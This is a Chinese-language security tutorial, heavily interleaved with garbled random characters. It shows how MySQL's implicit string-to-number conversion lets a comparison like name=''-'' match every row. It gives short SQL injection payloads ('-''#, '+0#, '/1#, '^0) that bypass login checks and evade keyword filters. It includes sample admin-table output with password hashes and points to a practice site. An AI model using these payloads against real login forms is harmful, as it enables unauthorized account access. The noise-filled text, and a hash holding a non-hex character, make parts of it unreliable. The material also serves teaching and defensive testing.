我们先来看这样一个场景。
/ _5 S! y D, X6 Q$ n/ {' v有以下表结构:
_9 b7 v- J$ o- N" D
7 C( Y) r9 w+ v" }1 {2 Rmysql> desc admin;/ N( w# A- ^- y
+----------+--------------+------+-----+---------+----------------+, J3 Q) E, P- t) t
| Field | Type | Null | Key | Default | Extra |! N( U6 r% m6 v% Z3 f; D
+----------+--------------+------+-----+---------+----------------+$ a% H0 R7 [1 _. d' a
| id | mediumint(9) | NO | PRI | NULL | auto_increment |( L6 D8 T) v1 M6 t6 P& B
| name | char(32) | NO | UNI | NULL | |9 s y4 S5 g5 y u& o& B1 c$ {( S
| password | char(32) | NO | UNI | NULL | |
# |; }$ Q7 w0 V+ D' h% v& F+----------+--------------+------+-----+---------+----------------+0 f- E# H1 w# N6 c
3 rows in set (0.00 sec)
/ x+ f4 A# M$ o9 i执行select * from admin;,成功返回所有记录内容。; \' _* B p4 J; r) [0 Z
* F' y7 J% L4 L0 G
p$ x# _5 A4 _5 S) o4 A( M4 G
+----+--------+----------------------------------+2 Q: [, F& f( C" j* U1 M8 h. y$ e
| id | name | password |
# L) Q% J5 R6 u, ]% M+----+--------+----------------------------------++ ]8 n) q/ Q4 v; y' X: ]% H7 `
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
# E u+ K( Q0 t" X: n8 L| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |! X3 Y) N' q: r7 U3 G+ _
| 4 | n00b | ff80e8508d39047460921792273533a4 |
; `& \+ T# Q' }4 j1 j0 p1 ^+----+--------+----------------------------------++ X2 X4 Y, n! i: d) M: U. |
3 rows in set (0.00 sec)6 h ?% A3 P9 r/ L- R
执行select * from admin where name=”;,没有匹配到任何记录。
9 U& b% a) \8 T7 {6 h% B2 l. E" j9 N7 z; X
mysql> select * from admin where name = '';
- L* _: I6 \! _- KEmpty set (0.00 sec) q! B5 F. a5 P5 k
那么我们来执行select * from admin where name = ”-”;
7 s& { ?! Y0 m @; z$ p
5 r5 A9 R. C8 j' z) h
/ S/ s: q m/ V: g% `+----+--------+----------------------------------+1 L7 U; b' e' c; O6 M
| id | name | password |
9 c s8 e. C# f ~; i+----+--------+----------------------------------+
3 r( V7 t( {: q8 g+ s8 T, ?| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |3 j j2 J* E* J6 ? \4 I7 E
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |( V; ^( }( r* Q ]$ h
| 4 | n00b | ff80e8508d39047460921792273533a4 |
3 Z+ Y S0 j6 [6 ?. T+----+--------+----------------------------------+
4 H3 G' g+ T+ ]$ O0 y; n3 rows in set, 3 warnings (0.00 sec)
5 r% m8 X3 z' b1 ?9 D可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: * _' l# u7 d; {5 Y' b! f! n( `
5 C" |& N$ r6 p* |8 l
mysql> show warnings;& `6 G e- Q* B# P2 @* t
+---------+------+------------------------------------------$ N& q2 ^) d( [
| Level | Code | Message2 A! u; }/ `6 q; P6 {
+---------+------+------------------------------------------$ S# D' N# U0 n# n7 b7 S2 g
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin. `7 e9 }0 k7 m+ K1 p( O
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
1 o. z4 {3 s" S- o$ v- @| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b
" {. M0 _9 }- A) `4 Y. i+---------+------+------------------------------------------
3 X; w2 w5 w, g. u3 rows in set (0.00 sec)
! q9 D U. X8 i6 t; n提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
R5 |6 J/ C, B$ y4 Q0 r2 G* Z$ Z, `$ l
mysql> select ''-'';. H& P" z4 h2 L* }# o
+-------+& @2 T9 B5 n1 s- d5 a& Y
| ''-'' |
- I0 h. ?* G2 h" n, |+-------+ X6 m$ a; k! m: J) g
| 0 |" L( m2 N2 }7 }, f" e
+-------+6 l7 J! A' `! x y! C1 y
1 row in set (0.00 sec)# C; ~2 I6 r7 m# w/ f, W8 J+ W" p
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 3 Z! \( L" _. F/ i
$ k3 M8 _: ~2 v+ z: v0 g
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
* Q* H x# Q: Y. e/ k* P8 M+-----------------------------------------------------+
6 p/ g$ r c! e) w! e| CAST((select name from admin limit 1,1) as DECIMAL) |
6 _& O$ `- B/ J& [- i, M+-----------------------------------------------------+$ a/ o+ ^6 g4 [4 s/ g% k, \- ], _5 l
| 0 |$ D7 `0 f& R; O9 Y: J: b3 w7 I
+-----------------------------------------------------+
5 E% V( S$ h6 P: E3 v/ Z1 row in set, 1 warning (0.00 sec)* J: g3 v6 |6 G# H3 S
因此where语句构成了相等的条件,where 0=”=”,记录被返回。
+ T- s |5 L& R+ @7 e: v
2 j W ]& f' s, w: m0 |SQL注入场景: http://www.sqlzoo.net/hack/ 7 [& Z+ I) B; c
: H. Y8 @1 D4 |8 `$ [: G6 M, U0 T9 F% S% U5 V0 R! @
0 h% O( e. |0 U1 r4 w
; z) |4 f: ?1 R6 u, S0 j. W% ?" b6 O如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
( ^3 L- J7 ?+ Q
! t8 M% e9 H/ K4 X. X! Q/ g9 G那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 }# h \% k2 u4 c9 L
2 y; e7 B i# F" ?
6 _" ]* e: z3 S4 S" n( T, m s4 _, |/ ]+ n& q; d
5 e: {; D$ W! `仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
9 q! {' X+ W: h& h
) q; f7 p3 }1 _( G( Y+ N4 v+ l 7 J ]+ M! J) e; N& l7 |6 y3 ~
8 l9 U) k( h+ P$ W( U! y# i% T除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
+ ~0 {2 X6 _" e3 T% z
+ z$ e/ q) r/ r' t% N3 K: _8 x- N5 W: j8 ^+ E
mysql> select ''/1;! H- [$ t, \- A. ?- O# b- a
+------+0 {- d* B7 N6 c7 O
| ''/1 |* B9 B5 Z8 z6 v
+------+5 Y4 j- j6 e* H$ R& Y) }
| 0 |
9 m& c5 s8 S( {+------+
/ s: s5 x M$ v. j: ~# I; e# D, Q" w1 row in set (0.00 sec)
3 m5 N* A7 a, R% v w+ z类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
# n3 A% q `" N0 f* I! L
( {* ~& C/ X+ S, b1 t利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
! d7 ]" X" j! \9 O! | |
|